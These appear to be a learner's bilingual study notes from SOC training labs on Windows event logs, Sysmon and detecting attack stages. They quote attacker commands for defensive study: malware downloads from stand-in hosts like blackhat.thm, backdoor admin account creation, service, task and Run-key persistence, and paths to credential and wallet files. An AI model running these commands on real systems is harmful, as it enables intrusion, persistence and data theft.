Logging Overview = Every recorded event is called a log
Incident Response: Logs can show when and how the attack occurred
Threat Hunting: Logs allow you to search for signs of malicious activity
Alerting and Triage: Logs are a building block of any alert or detection rule
Every EVTX file corresponds to a specific log category.
Reading Event Logs : search for "Event Viewer" using Windows Search or press Win + R, type eventvwr, and press Enter
| 4624 (Successful Logon) | Detect suspicious RDP/network logins and identify the attack starting point | Logged on the target machine, the one you are trying to access | Noisy. You will see hundreds of logon events per minute on loaded servers |
| 4625 (Failed Logon) | Detect brute force, password spraying, or vulnerability scanning | Logged on the target machine, the one you are trying to access | Inconsistent. The logs have lots of caveats that may trick you into the wrong understanding of the event |
Structure of 4624:
Network Level Authentication (NLA) is a security feature used in Remote Desktop Services that requires users to authenticate before establishing a remote desktop session.
Se il log non è troppo grande, basta usare i filtri ID 4625 per individuare IP sospetto e poi 4624 per LogonType 10 e LogonID con successful login (vedi stesso IP)
Torna all'indice!| 4720 / 4722 / 4738 | A user account was created / enabled / changed | Attackers might create a backdoor account or even enable an old one to avoid detection |
| 4725 / 4726 | A user account was disabled / deleted | In some advanced cases, threat actors may disable privileged SOC accounts to slow down their actions |
| 4723 / 4724 | A user changed their password /User's password was reset | Given enough permissions, threat actors might reset the password and then access the required user |
| 4732 / 4733 | A user was added to /removed from a security group | Attackers often add their backdoor accounts to privileged groups like "Administrators" |
Structure of User Management Events:All user management events have a similar structure and can be split into three parts: who did the action (Subject), who was the target (Object), and which exact changes were made (Details):
Provare questo comando al posto di 0x0 scrivere il logon ID sospetto!
Get-WinEvent -LogName Security | Where-Object { $_.Message -like '*Logon ID: 0x0*' }
Esempio:
Get-WinEvent -Path "C:\Users\Administrator\Desktop\Practice-Security.evtx" | Where-Object {$_.Message -like '*0x183C36D*'}
| 4688 (Security Log: Process Creation) | Log an event every time a new process is launched, including its command line and parent process details | Disabled by default, you need to enable it by following the official documentation |
| 1 (Sysmon: Process Creation) | Replace 4688 event code and provide more advanced fields like process hash and its signature | Sysmon is an external tool not installed by default. Check out the Sysmon official page |
Once installed, Sysmon logs are found in Event Viewer under Applications & Services -> Microsoft -> Windows -> Sysmon -> Operational.
Sysmon Event ID 1 in Action:
Process Info: Context of the launched process, including its PID, path (image), and command line
Parent Info: Context of the parent process, very useful to build a process tree or an attack chain
Binary Info: Process hash, signature, and PE metadata. You will need it for more advanced rooms
User Context: A user running the process and, most importantly, Logon ID - same as in the Security logs
Since almost any attack works on the endpoint level and requires at least some process to be launched to breach the system or exfiltrate the data from it, process monitoring is the most important log source for any SOC team. Use the following workbook to perform a basic analysis of any process launch:
Analyze Process Launch:
| 11 / 13 (File Create / Registry Value Set) | 4656 for file changes and 4657 for registry changes, both disabled by default | Detect files dropped by malware or its changes to the registry (e.g. for persistence) |
| 3 / 22 (Network Connection / DNS Query) | No direct alternative, requires additional firewall and DNS configuration | Detect traffic from untrusted processes or to known malicious destinations |
Usage of Sysmon Events:> Analyse Process Activities
PS C:\> Get-ChildItem
PS C:\> Get-Content secrets.txt
PS C:\> Get-LocalUser; Get-LocalGroup
PS C:\> Invoke-WebRequest http://c2server.thm/a.exe -OutPath C:\Temp\a.exe
Here, the threat actor managed to read a sensitive file, view local users and groups, and even download malware to the Temp directory. Still, you will see a single event ID 1 stating that powershell.exe was launched, with no information about the executed commands.
Every program has a specific purpose: firefox.exe is a web browser, notepad.exe is a text editor, and whoami.exe simply outputs your username. If you're just browsing the web, you might only create a single Firefox process. However, with every out-of-scope task like RDP access or photo editing, you will have to open new programs and create additional logs.
PowerShell, on the other hand, is a powerful all-in-one tool for managing the system. Once you launch powershell.exe, you can run hundreds of different commands within the same terminal session without creating new processes for each action. This is why Sysmon is not very helpful here, and you'll need to find an alternative logging approach.
There are at least five methods to monitor PowerShell, each with its own pros and cons. We will focus on a simple but effective way to track PowerShell commands - the PowerShell history file:
C:\Users\< USER >\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt <-- Qui c'è l'elenco dei comandi PS utilizzati!
The PowerShell history file is a plain text file automatically created by PowerShell. It simply records every command you type into a PowerShell window and is immediately updated when you press Enter to submit a command
You will explore various Initial Access methods, but for now, let's divide them into two groups: those requiring an exposed service and those relying on human interaction.
Detecting RDP Breach
Step of attack and Detection Opportunity:
Phishing attacks are still a major threat as they can't be mitigated as easily as blocking RDP access.
Detecting Malicious Download:It is relatively simple to hunt for malicious downloads if you know how the victim sees it. First, the user uses a web browser or desktop application to open a phishing attachment. In the simplest case, it would be a direct .exe malware download, but you are far more likely to see an archive attachment like .zip or .rar containing the malware. In this case, Sysmon can greatly help you detect every attack stage.
"Notes on LNK Attachments" Unlike with binary attachments, LNK files have a very interesting and important capability - they leave little execution trace. Consider the case on the screenshot below, where a user downloaded LNK file that looks like a Google Chrome shortcut, but in fact runs some PowerShell payload. !!!
After the user launches the shortcut - Windows Explorer reads the "Target" field of the LNK and makes it look like explorer.exe launches PowerShell directly. Still, you can identify if it was indeed LNK phishing or another attack vector by looking for the preceding file creation events - LNK files must have appeared somewhere in Downloads before
Torna all'indice!Risk of Removable Media:Initial Access via an infected USB bypasses firewalls, much like phishing, and can start the attack chain even without Internet access and continue spreading without user interaction.
Although there are many advanced techniques on how to run the malware from USB automatically as soon as the flash drive is plugged in, the majority of cases occur just because the user launches malware themselves.
For example:
(Interestingly, the detection of Initial Access via USB looks very similar to the phishing attachments. Since both methods rely on a user running malicious binary via a graphical interface (explorer.exe))
Torna all'indice!Discovery Commands > Discovery Purpose + Common CMD / PowerShell Commands:
type < file >, Get-Content < file >, dir < folder >, Get-ChildItem < folder >< / folder>whoami, net user, net localgroup, query user, Get-LocalUsertasklist /v, systeminfo, wmic product get name,version, Get-Serviceipconfig /all, netstat -ano, netsh advfirewall show allprofilesGet-WmiObject -Namespace "root\SecurityCenter2" -Query "SELECT * FROM AntivirusProduct"Discovery Process: Recall the phishing attack chain from the previous room. After the attachment is launched, it runs basic discovery commands to identify the victim or even delete itself if a specific antivirus is installed or a victim is not from a targeted company or country. Then, it connects back to the threat actor, giving full control over the victim. From there, human attackers can type additional Discovery commands if required.
Discovery via CMD: Discovery via the command line is the most common and easiest method available for threat actors.
Discovery via GUI: In cases where threat actors log in to the system interactively, like after the RDP breach, they are not limited to console commands
The first task to detect a potential Discovery is to find a Discovery command, or better, a sequence of commands run during a short period of time
You will see them as process creation events tracked by Sysmon event ID 1 or as new rows in the PowerShell history file. There are lots of Discovery commands, so be prepared to use the search engine if you are not sure what the command means.
For now, you can build the process tree using Sysmon logs: filter for process creation events and correlate ProcessId and ParentProcessId fields
This process involves three more MITRE tactics: Collection, Credential Access, and Exfiltration (To make it simpler, let's treat Credential Access as a part of Collection).
MITRE-TA0009 MITRE-TA0006 MITRE-TA0010The targets drastically differ depending on the attackers' goals. Some adversaries hunt personal info like images or chat conversations; others look for crypto wallets, gaming, or banking accounts; and advanced groups just use the victim to access the corporate network, hoping for a full-scale ransomware encryption.
Note that while most of the sensitive data is stored as simple files, the secrets can also be hidden in the registry or in process memory. You can review the common Collection targets in the code block below:
->[Goal: Blackmail Victim] Photos, Chats, Browser History
C:\Users\< user >\AppData\Roaming\Signal\*
C:\Users\< user >\AppData\Local\Google\Chrome\User Data\Default\History
->[Goal: Steal Money] Web Banking Sessions, Crypto Wallets
C:\Users\< user >\AppData\Roaming\Bitcoin\wallet.dat
C:\Users\< user >\AppData\Local\Google\Chrome\User Data\Default\Cookies
->[Goal: Steal Corporate Data] SSH Credentials, Databases
C:\Users\< user >\.ssh\*
C:\Program Files\Microsoft SQL Server\...\DATA\*
Data collection can be performed automatically via scripts or manually by human threat actors. For scripts, the whole process usually takes less than a minute, but it may take hours for the attacker to find and review the interesting files. Still, both methods should eventually end with exfiltration - uploading stolen data to a controller server. Here, threat actors can be very creative - to avoid detection, they often:
- Exfiltrate stolen data to DropBox, Mega, Amazon S3, or other trusted cloud storage services (Examples)
- Exfiltrate stolen data to known code repositories like GitHub or messengers like Telegram (Example)
- Or just create a trustworthy-looking domain like "windows-updates.com" and send the data there
Per password da google chrome, basta andare su password manager, export csv, e ci sono elencate tutte le password (compresi nomi utenti)
Which interesting SSH key does the user store on disk? --> nella cartella .ssh troviamo le chiavi thm-access-database.key
Same as with Discovery, threat actors can use both command-line and graphical interface options to review sensitive files. However, in Collection, threat actors don't just check a system configuration but rather look for specific files and folders shown in the previous task. Thus, you can detect access to the files by tracking commands like:
how attacks start: not from a fully functional malware, but from a tiny phishing attachment or from an RDP session without any red team tools. Thus, at some attack stages, threat actors may need to download more tools to achieve their goals, for example:
Common Tool Transfer Command
certutil.exe -urlcache -f https://blackhat.thm/bad.exe good.execurl.exe https://blackhat.thm/bad.exe -o good.exepowershell -c "Invoke-WebRequest -Uri 'https://blackhat.thm/bad.exe' -OutFile 'good.exe'"No need to use CMD, just copy-paste malware via RDP or download them via a web browser!IWR = Invoke-WebRequest
Since a transfer requires a network connection, your best option would be to track a network connection or a DNS request from the suspicious process. Note, however, that threat actors often try to avoid detection by downloading the tools from legitimate services like GitHub, so make sure to analyze which process is making the connection, the destination domain, and the file being downloaded.
Attacks Without C2:In some cases, C2 is not needed at all. For example, threat actors can type their commands directly in the RDP session after an RDP breach. Since this method becomes unavailable as soon as RDP is closed or secured, most threat actors choose to still set up a C2 immediately after the breach.
Simplest C2: For other Initial Access methods, threat actors can't simply use RDP every time they need to run a command, so they need some process that connects back to the attackers and waits for their commands 24/7. In the simplest case, the phishing attachment will be that process and establish the Command and Control channel, like on the CobaltStrike C2
In more advanced cases, the attachment won't immediately connect back, but rather download an additional C2 malware, hide it in a folder like C:\Temp, and run it as a new stealthy process. This method is beneficial to keep the attack going if the victim decides to delete the original attachment. See how it worked in the recent ransomware cases and during the APT29 phishing campaign
Data stealer infections usually have a very short lifespan: they breach the victim, collect the data, exfiltrate it, and exit - all within minutes. However, for most other attacks, maintaining access to the victim for days or even months after the Initial Access is vital. The tactic of maintaining reliable, long-term access to the target that can survive reboots and password changes is called Persistence - a big and interesting topic that you will discover soon.
Many Windows breaches happen because of the exposed service: RDP with a weak password, a vulnerable mail server, or a misconfigured web app. For such scenarios, the threat actors can access the machine via the same exposed service over and over again until the vulnerability is fixed. Still, threat actors often deploy an additional Persistence method, for example:
Let's focus on the second method now and see how you or threat actors can manage users on Windows. The first option is to use the graphical utility by searching for "Computer Management" or by launching lusrmgr.msc. The second option is to use a command line, like in the example below:
CMD and PowerShell Commands to Manage Users
# 1. Two methods to create the "mr.backd00r" user
CMD C:\> net user "mr.backd00r" "p@ssw0rd!" /add
PS C:\> New-LocalUser "mr.backd00r" -Password [...]
# 2. Two methods to add the user to Administrators
CMD C:\> net localgroup Administrators "mr.backd00r" /add
PS C:\> Add-LocalGroupMember "Administrators" -Member "mr.backd00r"
It's time to go back to the Security event logs! Every user creation event is logged as Security event ID 4720, which you explored in the Windows Logging for SOC room. Since threat actors can be very creative with naming the backdoored accounts, you should not rely just on detecting suspicious names like "hacker" but rather investigate:
Making Users Privileged: Next, a new user by itself won't give the attacker much, as the default user permissions do not allow remote (RDP) logins or grant administrative privileges on the machine. To overcome this, threat actors will add their backdoored account to one of the privileged groups, which is tracked by Security event ID 4732. The most commonly exploited groups are Administrators and Remote Desktop Users.
Resetting Passwords: Lastly, in more advanced cases, threat actors may simply reset the password of some old or unused account and use it instead of creating a new one. You can detect it with Security event ID 4724.
4720: a user account was created | 4732: A member was added to a security group | 4724: An attempt to reset an account's password
(filter ID 4624 / 4625 per sapere quanti successful/failed log )
Torna all'indice!
Malware Persistence:Persistence via a backdoored user works well if you can remotely log in to it via RDP, but if the attack started through a phishing attack or USB infection, that's not an option. For these scenarios, threat actors need an actively running malware that maintains a connection with their C2 server even after a system reboot. How could they achieve malware persistence?
Services and Tasks:you don't need to know all of them, but let's start with the two common ones:
Create a Windows Service (Runs after OS startup) sc create "BadService" binpath= "C:\malware.exe" start= auto --> Launch of sc.exe: Sysmon / 1 , Service creation: Security / 4697
Create a Scheduled Task (Run after OS startup) schtasks /create /tn "BadTask" /tr "C:\malware.exe" /sc onstart /ru System --> Launch of schtasks.exe: Sysmon / 1 , Scheduled task creation: Security / 4698
Many critical Windows components like DNS client or Security Center are services. You can view services by launching services.msc or searching for "Services", but you need administrative privileges and the sc.exe command to create or modify one.
Threat actors can create their own malicious services that will run the specified program on startup, and they do it very often, as you can read in the MITRE examples (https://attack.mitre.org/techniques/T1543/003/#:~:text=Procedure%20Examples) . In logs, you can detect malicious services in three ways:
(ID 7045:
Event ID 7045: A new service was installed in the system.
Description A new service was installed by the user indicated in the subject. Subject often identifies the local system (SYSTEM) for services installed as part of native Windows components and therefore you can't determine who actually initiated the installation.
Category System
Subcategory Security system extension
)
Scheduled tasks are another Windows feature heavily used by both the OS and external apps (e.g. to check for updates or make a backup every hour). From GUI, you can manage tasks by launching taskschd.msc or searching for "Task Scheduler". From the command line, you can use the schtasks.exe command. Unlike services, scheduled tasks are very easy to configure and hide, which is why they are the most common persistence method by threat actors, like in these APT28 and APT41 attacks. Similar to services, you can detect scheduled tasks in three ways:
Services and scheduled tasks are typically run on system boot and require administrative privileges to configure. However, what if a program has to run only when a specific user logs in? For such cases, Windows provides a few per-user persistence methods that are actively used by both legitimate tools and malware:
Add malware to Startup Folder (Runs upon user login) copy C:\malware.exe "%AppData%\Microsoft\Windows\Start Menu\Programs\Startup\malware.exe" --> New startup item: Sysmon Event ID 11
Add malware to "Run" keys (Runs upon user login) reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v BadKey /t REG_SZ /d "C:\malware.exe" --> New registry value: Sysmon Event ID 13
Detecting Startup: The startup folder was meant to be an easy way for inexperienced users to configure programs to run on login. You simply open the startup folder, move your program or program shortcut there, and see how it automatically starts upon your future logins. You can access your startup folder via the path below:
C:\Users\< USER >\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
Or for all users: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
The startup folder is not a common choice for legitimate programs, so usually, the folder is empty. Still, threat actors often put their malware there
Detecting Run Keys: Run key persistence is very similar to the startup folder; they even share a single MITRE technique! The only major difference is how the entries are added there. Instead of just copying the program to the startup folder, you need to create a new value in the "Run" Windows registry and put the path to your program there:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
Or for all users: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run